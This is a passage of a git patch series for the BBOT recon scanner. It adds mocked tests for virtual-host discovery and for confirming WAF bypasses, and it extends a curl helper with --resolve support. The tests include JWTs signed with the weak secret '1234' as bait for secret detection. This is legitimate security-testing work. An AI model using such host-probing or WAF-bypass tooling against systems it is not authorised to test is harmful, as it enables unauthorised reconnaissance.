1, f"Failed to detect brute-force virtual hosts. Found: {brute_hosts_found}" + + +class TestVirtualhostMutations(VirtualhostTestBase): + """Test host mutation detection using HTTP Host headers""" + + targets = ["http://subdomain.target.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on mutations only + "mutation_check": True, # Enable mutations + "special_hosts": False, # Focus on mutations only + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_before_prep(self, module_test): + # Call parent setup first + await super().setup_before_prep(module_test) + + # Mock wordcloud.mutations to return predictable results for "target" + def mock_mutations(self, word, **kwargs): + # Return realistic mutations that would be found for "target" + return [ + [word, "dev"], # targetdev, target-dev + ["dev", word], # devtarget, dev-target + [word, "test"], # targettest, target-test + ] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.mutations", mock_mutations) + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Set up DNS mocking for target.test + await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_mut" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://subdomain.target.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_mut"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to target.test (with or without port) + if not host_header or host_header in ["subdomain.target.test", "subdomain.target.test:8888"]: + return Response("baseline response from target.test", status=200) + + # Wildcard canary check + if re.match(r"[a-z]subdomain\.target\.test(?::8888)?$", host_header): # Modified target.test + return Response("wildcard canary response", status=404) + + # Mutation canary requests (4 chars + dash + original host) + if re.match(r"^[a-z]{4}-subdomain\.target\.test(?::8888)?$", host_header): + return Response("Mutation Canary", status=404) + + # Word cloud mutation matches - return different content than canary + if host_header == "subdomain-dev.target.test": + return Response("Dev target 1 found!", status=200) + if host_header == "devsubdomain.target.test": + return Response("Dev target 2 found!", status=200) + if host_header == "subdomaintest.target.test": + return Response("Test target found!", status=200) + + # Default response + return Response( + """\n404 Not Found

Not Found

Default handler response.

""", + status=404, + ) + + def check(self, module_test, events): + mutation_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + # Look for mutation patterns with dev/test + if any(word in vhost for word in ["dev", "test"]) and "target" in vhost: + mutation_hosts_found.add(vhost) + + assert len(mutation_hosts_found) >= 1, ( + f"Failed to detect mutation virtual hosts. Found: {mutation_hosts_found}" + ) + + +class TestVirtualhostWordcloud(VirtualhostTestBase): + """Test finish() wordcloud-based detection using HTTP Host headers""" + + targets = ["http://wordcloud.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, # Focus on wordcloud only + "mutation_check": False, # Focus on wordcloud only + "special_hosts": False, # Focus on wordcloud only + "certificate_sans": False, + "wordcloud_check": True, # Enable wordcloud + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) + + # Set up DNS mocking for wordcloud.test + await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}}) + + # Mock wordcloud to have some common words + def mock_wordcloud_keys(self): + return ["staging", "prod", "dev", "admin", "api"] + + module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_wc" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://wordcloud.test:8888/", + "URL", + parent=event, + tags=["status-200", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_wc"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to wordcloud.test (with or without port) + if not host_header or host_header in ["wordcloud.test", "wordcloud.test:8888"]: + return Response("baseline response from wordcloud.test", status=200) + + # Wildcard canary check + if re.match(r"[a-z]ordcloud\.test(?::8888)?$", host_header): # Modified wordcloud.test + return Response("wildcard canary response", status=404) + + # Random canary requests (12 chars + .com) + if re.match(r"^[a-z]{12}\.com(?::8888)?$", host_header): + return Response("random canary response", status=404) + + # Wordcloud-based matches - these are checked in finish() + if host_header in ["staging.wordcloud.test", "staging.wordcloud.test:8888"]: + return Response("Staging environment found!", status=200) + if host_header in ["prod.wordcloud.test", "prod.wordcloud.test:8888"]: + return Response("Production environment found!", status=200) + if host_header in ["dev.wordcloud.test", "dev.wordcloud.test:8888"]: + return Response("Development environment found!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + wordcloud_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["staging.wordcloud.test", "prod.wordcloud.test", "dev.wordcloud.test"]: + wordcloud_hosts_found.add(vhost) + + assert len(wordcloud_hosts_found) >= 1, ( + f"Failed to detect wordcloud virtual hosts. Found: {wordcloud_hosts_found}" + ) + + +class TestVirtualhostHTTPSLogic(ModuleTestBase): + """Unit tests for HTTPS/SNI-specific functions""" + + targets = ["http://localhost:8888"] # Minimal target for unit testing + modules_overrides = ["httpx", "virtualhost"] + + async def setup_before_prep(self, module_test): + pass # No special setup needed + + async def setup_after_prep(self, module_test): + pass # No HTTP mocking needed for unit tests + + def check(self, module_test, events): + # Get the virtualhost module instance for direct testing + virtualhost_module = None + for module in module_test.scan.modules.values(): + if hasattr(module, "special_virtualhost_list"): + virtualhost_module = module + break + + assert virtualhost_module is not None, "Could not find virtualhost module instance" + + # Test canary host generation for different modes + canary_subdomain = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "subdomain") + canary_mutation = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "mutation") + canary_random = virtualhost_module._get_canary_random_host("test.example.com", ".example.com", "random") + + # Verify canary patterns + assert canary_subdomain.endswith(".example.com"), ( + f"Subdomain canary doesn't end with basehost: {canary_subdomain}" + ) + assert "-test.example.com" in canary_mutation, ( + f"Mutation canary doesn't contain expected pattern: {canary_mutation}" + ) + assert canary_random.endswith(".com"), f"Random canary doesn't end with .com: {canary_random}" + + # Test that all canaries are different + assert canary_subdomain != canary_mutation != canary_random, "Canaries should be different" + + +class TestVirtualhostForceBasehost(VirtualhostTestBase): + """Test force_basehost functionality specifically""" + + targets = ["http://127.0.0.1:8888"] # Use IP to require force_basehost + modules_overrides = ["httpx", "virtualhost"] + test_wordlist = ["admin", "api"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "force_basehost": "forced.domain", # Test force_basehost functionality + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline request to the IP + if not host_header or host_header == "127.0.0.1:8888": + return Response("baseline response from IP", status=200) + + # Wildcard canary check + if re.match(r"[0-9]27\.0\.0\.1:8888", host_header): + return Response("wildcard canary response", status=404) + + # Subdomain canary (12 random chars + .forced.domain) + if re.match(r"[a-z]{12}\.forced\.domain", host_header): + return Response("forced domain canary response", status=404) + + # Virtual hosts using forced basehost + if host_header == "admin.forced.domain": + return Response("Admin with forced basehost found!", status=200) + if host_header == "api.forced.domain": + return Response("API with forced basehost found!", status=200) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + forced_hosts_found = set() + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.forced.domain", "api.forced.domain"]: + forced_hosts_found.add(vhost) + + # Verify the description shows it used the forced basehost + description = e.data["description"] + assert "Subdomain Brute-force" in description, ( + f"Expected subdomain brute-force discovery: {description}" + ) + + assert len(forced_hosts_found) >= 1, ( + f"Failed to detect virtual hosts with force_basehost. Found: {forced_hosts_found}. " + f"Expected at least one of: admin.forced.domain, api.forced.domain" + ) + + +class TestVirtualhostInterestingDefaultContent(VirtualhostTestBase): + """Test reporting of interesting default canary content during wildcard check""" + + targets = ["http://interesting.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": False, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "report_interesting_default_content": True, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server + await super().setup_after_prep(module_test) + + # Mock DNS resolution for interesting.test + await module_test.mock_dns({"interesting.test": {"A": ["127.0.0.1"]}}) + + # Dummy module to emit the URL event for the virtualhost module + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_interesting" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://interesting.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_interesting"] = DummyModule(module_test.scan) + + # Patch virtualhost to inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host (ensure status differs from canary) + if not host_header or host_header in ["interesting.test", "interesting.test:8888"]: + return Response("baseline not found", status=404) + + # Wildcard canary mutated hostname: change first alpha to 'z' -> znteresting.test + if host_header in ["znteresting.test", "znteresting.test:8888"]: + long_body = ( + "This is a sufficiently long default page body that exceeds forty characters " + "to trigger the interesting default content branch." + ) + return Response(long_body, status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_interesting = False + found_correct_host = False + for e in events: + if e.type == "VIRTUAL_HOST": + desc = e.data.get("description", "") + if "Interesting Default Content (from intentionally-incorrect canary host)" in desc: + found_interesting = True + # The VIRTUAL_HOST should be the canary hostname used in the wildcard request + if e.data.get("virtual_host") == "znteresting.test": + found_correct_host = True + break + + assert found_interesting, "Expected VIRTUAL_HOST from interesting default canary content was not emitted" + assert found_correct_host, "virtual_host should equal the canary hostname 'znteresting.test'" + + +class TestVirtualhostKeywordWildcard(VirtualhostTestBase): + """Test keyword-based wildcard detection using 'www' in hostname""" + + targets = ["http://acme.test:8888"] + modules_overrides = ["httpx", "virtualhost"] + config_overrides = { + "modules": { + "virtualhost": { + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + # Keep brute_lines small and supply a tiny wordlist containing a 'www' entry and an exact match + } + } + } + + async def setup_after_prep(self, module_test): + # Start HTTP server with wildcard behavior for any hostname containing 'www' + await super().setup_after_prep(module_test) + + # Mock DNS resolution for acme.test + await module_test.mock_dns({"acme.test": {"A": ["127.0.0.1"]}}) + + # Provide a tiny custom wordlist containing 'wwwfoo' and 'admin' so that: + # - 'wwwfoo' would be a false positive without the keyword-based wildcard detection + # - 'admin' will be an exact match we deliberately allow via the response handler + from .base import tempwordlist + + words = ["wwwfoo", "admin"] + wl = tempwordlist(words) + + # Patch virtualhost to use our custom wordlist and inject resolved hosts + vh_module = module_test.scan.modules["virtualhost"] + original_setup = vh_module.setup + + async def patched_setup(): + await original_setup() + vh_module.brute_wordlist = wl + return True + + module_test.monkeypatch.setattr(vh_module, "setup", patched_setup) + + # Emit URL event manually and ensure resolved_hosts + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_keyword" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + url_event = self.scan.make_event( + "http://acme.test:8888/", + "URL", + parent=event, + tags=["status-404", "ip-127.0.0.1"], + ) + await self.emit_event(url_event) + + module_test.scan.modules["dummy_module_keyword"] = DummyModule(module_test.scan) + + # Inject resolved hosts for the URL + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + host_header = request.headers.get("Host", "").lower() + + # Baseline response for original host + if not host_header or host_header in ["acme.test", "acme.test:8888"]: + return Response("baseline not found", status=404) + + # If hostname contains 'www' anywhere, return the same body as baseline (simulating keyword wildcard) + if "www" in host_header: + return Response("baseline not found", status=404) + + # Exact-match virtual host that should still be detected + if host_header in ["admin.acme.test", "admin.acme.test:8888"]: + return Response("Admin portal", status=200) + + # Default + return Response("default response", status=404) + + def check(self, module_test, events): + found_admin = False + found_www = False + for e in events: + if e.type == "VIRTUAL_HOST": + vhost = e.data.get("virtual_host") + if vhost == "admin.acme.test": + found_admin = True + if vhost and "www" in vhost: + found_www = True + + assert found_admin, "Expected VIRTUAL_HOST for admin.acme.test was not emitted" + assert not found_www, "No VIRTUAL_HOST should be emitted for 'www' keyword wildcard entries" + + +class TestVirtualhostHTTPResponse(VirtualhostTestBase): + """Test virtual host discovery with badsecrets analysis of HTTP_RESPONSE events""" + + targets = ["http://secrets.test:8888"] + modules_overrides = ["virtualhost", "badsecrets"] + test_wordlist = ["admin"] + config_overrides = { + "modules": { + "virtualhost": { + "brute_wordlist": tempwordlist(test_wordlist), + "subdomain_brute": True, + "mutation_check": False, + "special_hosts": False, + "certificate_sans": False, + "wordcloud_check": False, + "require_inaccessible": False, + } + } + } + + async def setup_after_prep(self, module_test): + # Call parent setup_after_prep to set up the HTTP server with request_handler + await super().setup_after_prep(module_test) + + # Set up DNS mocking for secrets.test to resolve to 127.0.0.1 + await module_test.mock_dns({"secrets.test": {"A": ["127.0.0.1"]}}) + + # Create a dummy module that will emit the URL event during the scan + from bbot.modules.base import BaseModule + + class DummyModule(BaseModule): + _name = "dummy_module_secrets" + watched_events = ["SCAN"] + + async def handle_event(self, event): + if event.type == "SCAN": + # Create and emit URL event for virtualhost module to process + url_event = self.scan.make_event( + "http://secrets.test:8888/", "URL", parent=event, tags=["status-200", "ip-127.0.0.1"] + ) + await self.emit_event(url_event) + + # Add the dummy module to the scan + dummy_module = DummyModule(module_test.scan) + module_test.scan.modules["dummy_module_secrets"] = dummy_module + + # Patch virtualhost to inject resolved_hosts for URL events during the test + vh_module = module_test.scan.modules["virtualhost"] + orig_handle_event = vh_module.handle_event + + async def patched_handle_event(ev): + ev._resolved_hosts = {"127.0.0.1"} + return await orig_handle_event(ev) + + module_test.monkeypatch.setattr(vh_module, "handle_event", patched_handle_event) + + def request_handler(self, request): + from werkzeug.wrappers import Response + + host_header = request.headers.get("Host", "").lower() + + # Baseline request to secrets.test (with or without port) + if not host_header or host_header in ["secrets.test", "secrets.test:8888"]: + return Response("baseline response from secrets.test", status=200) + + # Wildcard canary check - change one character in secrets.test + if re.match(r"[a-z]ecrets\.test", host_header): + return Response("wildcard canary different response", status=404) + + # Brute-force canary requests - random string + .secrets.test (with optional port) + if re.match(r"^[a-z]{12}\.secrets\.test(?::8888)?$", host_header): + return Response("subdomain canary response", status=404) + + # Virtual host with vulnerable JWT cookie and JWT in body - both using weak secret '1234' - this should trigger badsecrets twice + if host_header in ["admin.secrets.test", "admin.secrets.test:8888"]: + return Response( + "

Admin Panel

", + status=200, + headers={ + "set-cookie": "vulnjwt=eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo; secure" + }, + ) + + # Default response + return Response("default response", status=404) + + def check(self, module_test, events): + virtual_host_found = False + http_response_found = False + jwt_cookie_vuln_found = False + jwt_body_vuln_found = False + + # Debug: print all events to see what we're getting + print(f"\n=== DEBUG: Found {len(events)} events ===") + for e in events: + print(f"Event: {e.type} - {e.data}") + if hasattr(e, "tags"): + print(f" Tags: {e.tags}") + + for e in events: + # Check for virtual host discovery + if e.type == "VIRTUAL_HOST": + vhost = e.data["virtual_host"] + if vhost in ["admin.secrets.test"]: + virtual_host_found = True + # Verify it has the virtual-host tag + assert "virtual-host" in e.tags, f"VIRTUAL_HOST event missing virtual-host tag: {e.tags}" + + # Check for HTTP_RESPONSE with virtual-host tag + elif e.type == "HTTP_RESPONSE": + if "virtual-host" in e.tags: + http_response_found = True + # Verify the HTTP_RESPONSE has the expected format + assert "input" in e.data, f"HTTP_RESPONSE missing input field: {e.data}" + assert e.data["input"] == "admin.secrets.test", f"HTTP_RESPONSE input mismatch: {e.data['input']}" + assert "status_code" in e.data, f"HTTP_RESPONSE missing status_code: {e.data}" + assert e.data["status_code"] == 200, f"HTTP_RESPONSE status_code mismatch: {e.data['status_code']}" + # Debug: print the response data to see what badsecrets is analyzing + print(f"HTTP_RESPONSE data: {e.data}") + + # Check for badsecrets vulnerability findings + elif e.type == "VULNERABILITY": + print(f"Found VULNERABILITY event: {e.data}") + description = e.data["description"] + + # Check for JWT vulnerability (from cookie) + if ( + "1234" in description + and "eyJhbGciOiJIUzI1NiJ9.eyJJc3N1ZXIiOiJJc3N1ZXIiLCJVc2VybmFtZSI6IkJhZFNlY3JldHMiLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.ovqRikAo_0kKJ0GVrAwQlezymxrLGjcEiW_s3UJMMCo" + in description + and "JWT" in description + ): + jwt_cookie_vuln_found = True + + # Check for JWT vulnerability (from body) + if ( + "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg" + in description + and "JWT" in description + ): + jwt_body_vuln_found = True + + assert virtual_host_found, "Failed to detect virtual host admin.secrets.test" + assert http_response_found, "Failed to detect HTTP_RESPONSE event with virtual-host tag" + assert jwt_cookie_vuln_found, ( + "Failed to detect JWT vulnerability - JWT with weak secret '1234' should have been found" + ) + assert jwt_body_vuln_found, ( + "Failed to detect JWT vulnerability in body - JWT 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInVzZXJuYW1lIjoiYWRtaW4iLCJleHAiOjE1OTMxMzM0ODMsImlhdCI6MTQ2NjkwMzA4M30.03xPSXavrMk0HK4BD3_hPKgu3RLu6CmTSPGfrDx2qpg' should have been found" + ) + print( + f"Test results: virtual_host_found={virtual_host_found}, http_response_found={http_response_found}, jwt_cookie_vuln_found={jwt_cookie_vuln_found}, jwt_body_vuln_found={jwt_body_vuln_found}" + ) diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py new file mode 100644 index 0000000000..da812633bb --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -0,0 +1,133 @@ +from .base import ModuleTestBase +from bbot.modules.base import BaseModule +import json + + +class TestWAFBypass(ModuleTestBase): + targets = ["protected.test", "direct.test"] + module_name = "waf_bypass" + modules_overrides = ["waf_bypass", "httpx"] + config_overrides = { + "scope": {"report_distance": 2}, + "modules": {"waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30}}, + } + + PROTECTED_IP = "127.0.0.129" + DIRECT_IP = "127.0.0.2" + + api_response_direct = { + "asn": 15169, + "subnets": ["127.0.0.0/25"], + "asn_name": "ACME-ORG", + "org": "ACME-ORG", + "country": "US", + } + + api_response_cloudflare = { + "asn": 13335, + "asn_name": "CLOUDFLARENET", + "country": "US", + "ip": "127.0.0.129", + "org": "Cloudflare, Inc.", + "rir": "ARIN", + "subnets": ["127.0.0.128/25"], + } + + class DummyModule(BaseModule): + watched_events = ["DNS_NAME"] + _name = "dummy_module" + events_seen = [] + + async def handle_event(self, event): + if event.data == "protected.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://protected.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["cdn-cloudflare", "in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + elif event.data == "direct.test": + await self.helpers.sleep(0.5) + self.events_seen.append(event.data) + url = "http://direct.test:8888/" + url_event = self.scan.make_event( + url, "URL", parent=self.scan.root_event, tags=["in-scope", "status-200"] + ) + if url_event is not None: + await self.emit_event(url_event) + + async def setup_after_prep(self, module_test): + from bbot.core.helpers.asn import ASNHelper + + await module_test.mock_dns( + { + "protected.test": {"A": [self.PROTECTED_IP]}, + "direct.test": {"A": [self.DIRECT_IP]}, + "": {"A": []}, + } + ) + + self.module_test = module_test + + self.dummy_module = self.DummyModule(module_test.scan) + module_test.scan.modules["dummy_module"] = self.dummy_module + + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") + + expect_args = {"method": "GET", "uri": "/v1/ip/127.0.0.2"} + respond_args = { + "response_data": json.dumps(self.api_response_direct), + "status": 200, + "content_type": "application/json", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + expect_args = {"method": "GET", "uri": "/", "headers": {"Host": "protected.test"}} + respond_args = {"status": 200, "response_data": "HELLO THERE!"} + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + + # Patch WAF bypass get_url_content to control similarity outcome + waf_module = module_test.scan.modules["waf_bypass"] + + async def fake_get_url_content(self_waf, url, ip=None): + if "protected.test" in url and (ip == None or ip == "127.0.0.1"): + return {"response_data": "PROTECTED CONTENT!", "http_code": 200} + else: + return {"response_data": "ERROR!", "http_code": 404} + + import types + + module_test.monkeypatch.setattr( + waf_module, + "get_url_content", + types.MethodType(fake_get_url_content, waf_module), + raising=True, + ) + + # 7. Monkeypatch tldextract so base_domain is never empty + def fake_tldextract(domain): + import types as _t + + return _t.SimpleNamespace(top_domain_under_public_suffix=domain) + + module_test.monkeypatch.setattr( + waf_module.helpers, + "tldextract", + fake_tldextract, + raising=True, + ) + + def check(self, module_test, events): + waf_bypass_events = [e for e in events if e.type == "VULNERABILITY"] + assert waf_bypass_events, "No VULNERABILITY event produced" + + correct_description = [ + e + for e in waf_bypass_events + if "WAF Bypass Confirmed - Direct IPs: 127.0.0.1 for http://protected.test:8888/. Similarity 100.00%" + in e.data["description"] + ] + assert correct_description, "Incorrect description" From 582f4de634b8c8b1aee4c00798eee78c4a4ffecf Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 17 Oct 2025 17:01:51 -0400 Subject: [PATCH 115/129] rebase --- bbot/core/helpers/web/web.py | 134 ++++++++- bbot/core/shared_deps.py | 25 ++ bbot/modules/generic_ssrf.py | 264 ++++++++++++++++++ bbot/modules/host_header.py | 11 +- bbot/modules/output/web_report.py | 2 +- .../module_tests/test_module_generic_ssrf.py | 97 +++++++ 6 files changed, 517 insertions(+), 16 deletions(-) create mode 100644 bbot/modules/generic_ssrf.py create mode 100644 bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index 5e86424049..d0ec79f4c0 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -1,7 +1,10 @@ +import json import logging +import re import warnings from pathlib import Path from bs4 import BeautifulSoup +import ipaddress from bbot.core.engine import EngineClient from bbot.core.helpers.misc import truncate_filename @@ -319,12 +322,12 @@ async def curl(self, *args, **kwargs): method (str, optional): The HTTP method to use for the request (e.g., 'GET', 'POST'). cookies (dict, optional): A dictionary of cookies to include in the request. path_override (str, optional): Overrides the request-target to use in the HTTP request line. - head_mode (bool, optional): If True, includes '-I' to fetch headers only. Defaults to None. raw_body (str, optional): Raw string to be sent in the body of the request. + resolve (dict, optional): Host resolution override as dict with 'host', 'port', 'ip' keys for curl --resolve. **kwargs: Arbitrary keyword arguments that will be forwarded to the HTTP request function. Returns: - str: The output of the cURL command. + dict: JSON object with response data and metadata. Raises: CurlError: If 'url' is not supplied. @@ -338,7 +341,11 @@ async def curl(self, *args, **kwargs): if not url: raise CurlError("No URL supplied to CURL helper") - curl_command = ["curl", url, "-s"] + # Use BBOT-specific curl binary + bbot_curl = self.parent_helper.tools_dir / "curl" + if not bbot_curl.exists(): + raise CurlError(f"BBOT curl binary not found at {bbot_curl}. Run dependency installation.") + curl_command = [str(bbot_curl), url, "-s"] raw_path = kwargs.get("raw_path", False) if raw_path: @@ -382,6 +389,12 @@ async def curl(self, *args, **kwargs): curl_command.append("-m") curl_command.append(str(timeout)) + # mirror the web helper behavior + retries = self.parent_helper.web_config.get("http_retries", 1) + if retries > 0: + curl_command.extend(["--retry", str(retries)]) + curl_command.append("--retry-all-errors") + for k, v in headers.items(): if isinstance(v, list): for x in v: @@ -418,17 +431,120 @@ async def curl(self, *args, **kwargs): curl_command.append("--request-target") curl_command.append(f"{path_override}") - head_mode = kwargs.get("head_mode", None) - if head_mode: - curl_command.append("-I") - raw_body = kwargs.get("raw_body", None) if raw_body: curl_command.append("-d") curl_command.append(raw_body) - log.verbose(f"Running curl command: {curl_command}") + + # --resolve :: + resolve_dict = kwargs.get("resolve", None) + + if resolve_dict is not None: + # Validate "resolve" is a dict + if not isinstance(resolve_dict, dict): + raise CurlError("'resolve' must be a dictionary containing 'host', 'port', and 'ip' keys") + + # Extract and validate IP (required) + ip = resolve_dict.get("ip") + if not ip: + raise CurlError("'resolve' dictionary requires an 'ip' value") + try: + ipaddress.ip_address(ip) + except ValueError: + raise CurlError(f"Invalid IP address supplied to 'resolve': {ip}") + + # Host, port, and ip must ALL be supplied explicitly + host = resolve_dict.get("host") + if not host: + raise CurlError("'resolve' dictionary requires a 'host' value") + + if "port" not in resolve_dict: + raise CurlError("'resolve' dictionary requires a 'port' value") + port = resolve_dict["port"] + + try: + port = int(port) + except (TypeError, ValueError): + raise CurlError("'port' supplied to resolve must be an integer") + if port < 1 or port > 65535: + raise CurlError("'port' supplied to resolve must be between 1 and 65535") + + # Append the --resolve directive + curl_command.append("--resolve") + curl_command.append(f"{host}:{port}:{ip}") + + # Always add JSON --write-out format with separator and capture headers + curl_command.extend(["-D", "-", "-w", "\\n---CURL_METADATA---\\n%{json}"]) + + log.debug(f"Running curl command: {curl_command}") output = (await self.parent_helper.run(curl_command)).stdout - return output + + # Parse the output to separate headers, content, and metadata + parts = output.split("\n---CURL_METADATA---\n") + + # Raise CurlError if separator not found - this indicates a problem with our curl implementation + if len(parts) < 2: + raise CurlError(f"Curl output missing expected separator. Got: {output[:200]}...") + + # Headers and content are in the first part, JSON metadata is in the last part + header_content = parts[0] + json_data = parts[-1].strip() + + # Split headers from content + header_lines = [] + content_lines = [] + in_headers = True + + for line in header_content.split("\n"): + if in_headers: + if line.strip() == "": + in_headers = False + else: + header_lines.append(line) + else: + content_lines.append(line) + + # Parse headers into dictionary + headers_dict = {} + raw_headers = "\n".join(header_lines) + + for line in header_lines: + if ":" in line: + key, value = line.split(":", 1) + key = key.strip().lower() + value = value.strip() + + # Convert hyphens to underscores to match httpx (projectdiscovery) format + # This ensures consistency with how other modules expect headers + normalized_key = key.replace("-", "_") + + if normalized_key in headers_dict: + if isinstance(headers_dict[normalized_key], list): + headers_dict[normalized_key].append(value) + else: + headers_dict[normalized_key] = [headers_dict[normalized_key], value] + else: + headers_dict[normalized_key] = value + + response_data = "\n".join(content_lines) + + # Raise CurlError if JSON parsing fails - this indicates a problem with curl's %{json} output + try: + metadata = json.loads(json_data) + except json.JSONDecodeError as e: + # Try to fix common malformed JSON issues from curl output + try: + # Fix empty values like "certs":, -> "certs":null, + fixed_json = re.sub(r':"?\s*,', ":null,", json_data) + # Fix trailing commas before closing braces + fixed_json = re.sub(r",\s*}", "}", fixed_json) + metadata = json.loads(fixed_json) + log.debug(f"Fixed malformed JSON from curl: {json_data[:100]}... -> {fixed_json[:100]}...") + except json.JSONDecodeError: + raise CurlError(f"Failed to parse curl JSON metadata: {e}. JSON data: {json_data[:200]}...") + + # Combine into final JSON structure + return {"response_data": response_data, "headers": headers_dict, "raw_headers": raw_headers, **metadata} def beautifulsoup( self, diff --git a/bbot/core/shared_deps.py b/bbot/core/shared_deps.py index 013a8b4d67..eaf62b738d 100644 --- a/bbot/core/shared_deps.py +++ b/bbot/core/shared_deps.py @@ -173,6 +173,31 @@ }, ] +DEP_CURL = [ + { + "name": "Download static curl binary (v8.11.0)", + "get_url": { + "url": "https://github.com/moparisthebest/static-curl/releases/download/v8.11.0/curl-amd64", + "dest": "#{BBOT_TOOLS}/curl", + "mode": "0755", + "force": 